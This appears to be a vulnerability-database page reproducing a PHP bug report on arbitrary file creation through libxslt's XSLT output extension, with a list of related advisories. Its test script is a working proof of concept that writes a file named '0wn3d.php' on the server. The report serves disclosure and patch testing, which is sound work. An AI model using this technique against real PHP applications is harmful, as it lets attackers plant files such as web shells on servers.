| Reporter | Title | Published | Views | Family All 100 |
|---|---|---|---|---|
| PHP < 5.3.9 Multiple Vulnerabilities | 16 Jan 201200:00 | – | nessus | |
| PHP < 5.3.9 Multiple Vulnerabilities | 16 Jan 201200:00 | – | nessus | |
| CentOS 5 : php (CESA-2012:1045) | 28 Jun 201200:00 | – | nessus | |
| CentOS 6 : php (CESA-2012:1046) | 11 Jul 201200:00 | – | nessus | |
| CentOS 5 : php53 (CESA-2012:1047) | 29 Jun 201300:00 | – | nessus | |
| Debian DSA-2399-2 : php5 - several vulnerabilities | 1 Feb 201200:00 | – | nessus | |
| FreeBSD : databases/postgresql*-server -- multiple vulnerabilities (07234e78-e899-11e1-b38d-0023ae8e59f0) | 20 Aug 201200:00 | – | nessus | |
| GLSA-201209-03 : PHP: Multiple vulnerabilities | 24 Sep 201200:00 | – | nessus | |
| HP System Management Homepage < 7.1.1 Multiple Vulnerabilities | 5 Jul 201200:00 | – | nessus | |
| MiracleLinux 3 : php-5.1.6-39.0.1.AXS3 (AXSA:2012-687:05) | 14 Jan 202600:00 | – | nessus |
Description:
------------
Current version of PHP5 allow creation of arbitrary files when processing XSLT content. This was tested on the following releases :
- PHP 5.3.2-1ubuntu4.7 with Suhosin-Patch (cli) (built: Jan 12 2011 18:36:08)
- PHP 5.3.6 (cli) (built: Apr 1 2011 11:26:17)
The problem lies in the unrestricted use of libxslt. The attached patch will forbid some operations like the creation of files or directories, by calling the libxslt security API.
Test script:
---------------
<?php
$sXml = '<xml><foo>Hello from XML</foo></xml>';
$sXsl = <<<EOT
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:sax="http://icl.com/saxon"
extension-element-prefixes="sax">
<xsl:template match="//foo">
<sax:output href="0wn3d.php" method="text">
<xsl:value-of select="'0wn3d via PHP and libxslt ...'"/>
<xsl:apply-templates/>
</sax:output>
</xsl:template>
</xsl:stylesheet>
EOT;
# LOAD XML FILE
$XML = new DOMDocument();
$XML->loadXML( $sXml );
# LOAD XSLT FILE
$XSL = new DOMDocument();
$XSL->loadXML( $sXsl );
# START XSLT
$xslt = new XSLTProcessor();
$xslt->importStylesheet( $XSL );
# TRASNFORM & PRINT
print $xslt->transformToXML( $XML );
?>
Expected result:
----------------
File isn't created and PHP displays some warnings :
Warning: XSLTProcessor::transformToXml(): runtime error: file /somewhere/ line 7 element output in /somewhere/simple_xslt.php on line 34
Warning: XSLTProcessor::transformToXml(): File write for 0wn3d.php refused in /somewhere/simple_xslt.php on line 34
Warning: XSLTProcessor::transformToXml(): runtime error: file /somewhere/ line 7 element output in /somewhere/simple_xslt.php on line 34
Warning: XSLTProcessor::transformToXml(): xsltDocumentElem: write rights for 0wn3d.php denied in /somewhere/simple_xslt.php on line 34
Actual result:
--------------
File '0wn3d.php' is created
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation